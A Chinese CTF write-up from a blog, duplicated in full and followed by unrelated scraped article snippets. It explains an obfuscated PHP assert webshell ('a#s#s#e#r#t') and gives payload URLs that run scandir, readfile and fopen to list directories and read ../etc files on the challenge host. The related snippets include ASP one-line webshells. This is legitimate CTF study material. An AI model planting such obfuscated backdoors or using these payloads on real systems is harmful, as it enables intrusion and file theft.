题目描述:

题目描述:
                              
上面的php进行格式化之后:
<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET['s']) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET['s']都会被解析成相应的函数,之后再执行
assert($_GET['s'])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
 %27是单引号 '  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt
 
 
 试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 './ ' 一样,看来当前的目录名为web:
 http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile('../etc/nsswitch.conf')) http://123.206.87.240:8010/?s=print_r(fopen('../etc/nsswitch.conf','r'))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
 
 
 
知识点
explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。
    大于 0 - 返回包含最多 limit 个元素的数组
    小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
    0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval('echo 1;');
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399
                              
上面的php进行格式化之后:
<?php     $poc="a#s#s#e#r#t";    $poc_1=explode("#",$poc);                 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];    $poc_2($_GET['s']) ?>
其整体的意思是:检查 get 得到的断言是否成立(用来判断一个表达式是否成立),参数会被执行
$poc_2和_GET['s']都会被解析成相应的函数,之后再执行
assert($_GET['s'])
看看大佬的博客,构造payload,爆出当前目录下的文件名:
 http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
 %27是单引号 '  的url编码
读出来array数组的值:
 Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 一个一个试:
 最后这个url得到flag
 http://123.206.87.240:8010/flag_sm1skla1.txt
 
 
 试一下读取上级目录
 http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))
 
 也可以读出来,权限没有限制。
 读取当前目录,返回结果跟 './ ' 一样,看来当前的目录名为web:
 http://123.206.87.240:8010/?s=print_r(scandir(%27../web%27))
 
 etc目录下的文件:
 看了一圈发现,只要去直接访问资源,它就会有权限限制,而获取目录结构,是允许的。
 
 当然可以构造其他的payload去获取想要的资源:
 
 http://123.206.87.240:8010/?=print_r(readfile('../etc/nsswitch.conf')) http://123.206.87.240:8010/?s=print_r(fopen('../etc/nsswitch.conf','r'))
 在读取host文件时可以读出来,不知道nsswitch.conf是没权限还是因为其没内容,直接就显示空白,但访问成功了。
 
 
 
知识点
explode(separator,string,limit)        把字符串打散为数组。
 separator
    必需。规定在哪里分割字符串。
   string
    必需。要分割的字符串。
   limit
    
    可选。规定所返回的数组元素的数目。
    大于 0 - 返回包含最多 limit 个元素的数组
    小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组
    0 - 返回包含一个元素的数组
    
   
 eval函数中参数是字符,如:
     eval('echo 1;');
 assert函数中参数为表达式 (或者为函数),如:
     assert(phpinfo())
     直接传递普通代码是无法执行的,如:assert(‘echo 1;’);
 scandir()
 $dir = "/images/";
 $a = scandir($dir);        // 以升序排序 - 默认
 $b = scandir($dir,1);    // 以降序排序
 一个过狗的总结https://www.jianshu.com/p/0510ce81566d
————————————————
版权声明:本文为CSDN博主「s0i1」的原创文章,遵循 CC 4.0 BY 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/changer_WE/article/details/89304399

bugku 过狗一句话的更多相关文章

  1. Bugku-CTF之过狗一句话(送给大家一个过狗一句话)

    Day25 过狗一句话   http://123.206.87.240:8010/ 送给大家一个过狗一句话<?php $poc="a#s#s#e#r#t"; $poc_1=e ...

  2. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...

  3. Bugku web(1—35)

    1.web2 打开网页: 哈哈,其实按下F12你就会发现flag. 2.计算器 打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入 ...

  4. 一句话木马:ASP篇

    ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...

  5. 实战入侵(突破FCK+安全狗上传)

    PS:有点尴尬,二次上传突破FCK,免杀马儿过狗. 刚开始和超霸一起弄,TMDGB.弄到四点多,早上尼玛七点多的又去考试,虽然考试还是睡着了,但是TMDGB感觉日子好充实啊! FCK上传地址如下所示: ...

  6. BUGKUctf-web-writeup

    ---恢复内容开始--- 找到了个ctf平台.里面的web挺多的.终于将web题目写的差不多了. Web 签到题 加群就可以了 Web2 直接F12就看到了 文件上传测试 Burp抓包 文件名改成 1 ...

  7. 创造tips的秘籍——PHP回调后门

    作者:Phithon 原文连接:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html 最近很多人分享一些过狗过盾的一句话, ...

  8. 关于Safe DOG的文件上传bypass

    Author:倾旋payloads@aliyun.com本文由科拉实验室成员倾旋原创文章 Part 1 分析 此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么 ...

  9. php一句话后门过狗姿势万千之传输层加工【三】

    既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...

随机推荐

  1. CodeForces 1141A

    https://vjudge.net/problem/CodeForces-1141A #include <bits/stdc++.h> using namespace std; int ...

  2. 题解【洛谷P2003】平板

    题面 由于本题中\(n\)很小,\(\Theta(n^2)\)的暴力也可以通过. 具体可参照洛谷题解区 #include <bits/stdc++.h> #define itn int # ...

  3. JAVA 注解教程(二)元注解

    简介 元注解是可以注解到注解上的注解,或者说元注解是一种基本注解,但是它能够应用到其它的注解上面 元注解有 @Retention.@Documented.@Target.@Inherited.@Rep ...

  4. Python :元组,不可修改的序列

  5. C#中画三角形和填充三角形的简单实现

    C#中画三角形和填充三角形的简单实现: private void Form1_Paint(object sender, PaintEventArgs e) { Graphics g = e.Graph ...

  6. Java连载83-单向链表、双向链表、collections常用方法

    一.单向链表 1.单向链表:每个元素都称为节点(Entry),每个节点都由两部分组成 2.单向链表的注意点: (1)单向链表每一个节点在内存中存储上在空间位置上是无规律的: (2)为什么单向链表的查询 ...

  7. 关于button在td中时,zclip复制不能的问题

    是button的定位问题引起的,解决方案:套上div加上position:relative即可 <td> <div style="position:relative&quo ...

  8. [lua]紫猫lua教程-命令宝典-L1-01-07. table表

    L1[table]01. table表的定义与赋值 小知识:声明表的例子 xx={}--创建一个空表xx --给这表的元素赋值 test="a" xx[test]="a& ...

  9. zabbix_agentd无法启动,cannot open log 错误

    最近有一台服务器的zabbix启动异常,看日志有如下报错 zabbix_agentd []: cannot open log: cannot create semaphore ] No space l ...

  10. poj 1611 :The Suspects经典的并查集题目

    Severe acute respiratory syndrome (SARS), an atypical pneumonia of unknown aetiology, was recognized ...